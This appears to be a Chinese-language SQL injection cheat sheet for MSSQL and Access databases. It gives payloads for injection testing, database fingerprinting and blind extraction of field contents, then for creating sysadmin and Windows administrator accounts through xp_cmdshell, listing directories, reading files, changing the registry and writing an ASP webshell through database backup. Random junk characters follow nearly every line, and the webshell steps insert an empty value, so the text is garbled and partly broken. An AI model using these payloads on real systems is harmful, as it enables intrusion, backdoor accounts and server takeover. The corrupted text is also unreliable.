1.判断是否有注入;and 1=1 ;and 1=2 t dm7MPM
2.初步判断是否是mssql ;and user>0 6 4_}"fU
V?{d<Ng~J
3.注入参数是字符'and [查询条件] and ''=' Q0xO;20
]Ur/DRNS
4.搜索时没过滤参数的'and [查询条件] and '%25'=' l]]NVBA])
f;e#7_
5.判断数据库系统 \dk1a
%ih\|jRt
;and (select count(*) from sysobjects)>0 mssql i KSRr#/
ea3w
;and (select count(*) from msysobjects)>0 access d0aXA+S%
Qte5E}V`
Cj0r2^`
WyO*8b_
D
6.猜数据库 ;and (select Count(*) from [数据库名])>0 (!}N&!t
G+
/Q!ic
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ,>j3zjf^
7'\.QJ!<
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 'Ea3(OsuXn
fCY|iO0.t
9.(1)猜字段的ascii值(access) n8,%<!F^
Px_8lB/;
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 gT)(RS`_)
uN%Cc12
(2)猜字段的ascii值(mssql) vpu#!(N
Ik:G5m<ta
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 `cGks
' @!&{N
10.测试权限结构(mssql) G@7^M}
4:V
+>Jt
TNu %_
34
EavBUX$O
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- B7\4^6Tx
@yTu/U
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- n_QuuUB
TK5$-6k
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- K$S0h-?9]O
M^kaik
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Za@\=}Tt
f.g!~wGD
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Pp?P9s{
Q7+WV`&
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 9wL2NC31Q
7ZUN;mr
;and 1=(select IS_MEMBER('db_owner'));-- 0F$|`v"0
| R,dsBd
RZz?_1'
Il=6t
11.添加mssql和系统的帐户 2"6L\8hd2
oiyvKMHz7
;exec master.dbo.sp_addlogin username;-- !.R-|<2|6
;exec master.dbo.sp_password null,username,password;-- ?1\5X<|,
BValU
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- (
fFrX_K]
|gk*{3~y
;exec master.dbo.xp_cmdshell 'net user username password |.; N_i
Q
8]X
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 3U6QYD55]]
G"r{!IFL
;exec master.dbo.xp_cmdshell 'net user username password /add';-- tY_=[6?Zu
*JOK8[Qn
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 1RkN^FZOxq
Trirb'qO
m-{DhJV
NZGO8u
12.(1)遍历目录 whI4@#
R&uPoY,f
;create table dirs(paths varchar(100), id int) 7] y3<t
/qQx~doK
;insert dirs exec master.dbo.xp_dirtree 'c:\' ihkZs3}
Gb^63.}
;and (select top 1 paths from dirs)>0 i3 js'?7E
ZRhk2DA#FF
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) )=)N9C Ry
&^ERaPynd
jnV#Q
;
Gr({30"8
(2)遍历目录 q~qz^E\T
kV8R.Baf3
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- }%KQrlbHJl
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 "|6(.S+o
S%RxYJ(
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 :$Cm]RZ
L'y0$
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 6F^/k,(k4
l"8g9z
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Wi$?k{C
QmBHD;Gf
t(}Y /'
9ERdjS
13.mssql中的存储过程 5T/+pC$e=
XzAXcxC6G
xp_regenumvalues 注册表根键, 子键 3\2&?VAjR
>(:3H+
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 55v=Ij?M
TrDTay
xp_regread 根键,子键,键值名 IiKU=^~w
B)k/]vz)*D
;exec xp_regread !5 S#
DvWBvs,
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 _~Lu%
|TJ gH<I
xp_regwrite 根键,子键, 值名, 值类型, 值 [?z;'O}y
['(qeS@5O
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 6X ]I`e
eI|FrBq%
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 z{.&sr>+v
D*L@I@
[
xp_regdeletevalue 根键,子键,值名 nR%w5oe
tdU'cc?M
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ,,FhE
8\il~IFyi
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 :MDFTw~ |
d/NjY[` 5+
^C,rN;mX'
FUI/ A>
14.mssql的backup创建webshell Q8TR@0d
ruhC:rg:/
use model Fkv284,LM
W&A^.% 2l
create table cmd(str image); +fvVora
S?DMeZ{:
insert into cmd(str) values (''); pDC`Fi
i{g~u<DH)Q
backup database model to disk='c:\l.asp'; oKRI2ni$j9
k8Dk;N
QKk7"2t|
,9OER!$y
15.mssql内置函数 N#J8 4i;ry
l2#~
;and (select @@version)>0 获得Windows的版本号 ml~)7J
p+I`xyk
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ^g'uR@uU
N]BH6 7<
;and (select user_name())>0 爆当前系统的连接用户 w&U28"i>
:hHKm|1FE
;and (select db_name())>0 得到当前连接的数据库 k H06Cb
5G<`c
*<9M|H~
SOD3MsAK
16.简洁的webshell 1\TkI=N3
Kd}%%L
use model .Sm 8t$
RaiYq#X/
create table cmd(str image); {s@&3i?ZiC
LWo )x
insert into cmd(str) values (''); .ErR-p=-
^b&hy&ag
backup database model to disk='g:\wwwtest\l.asp';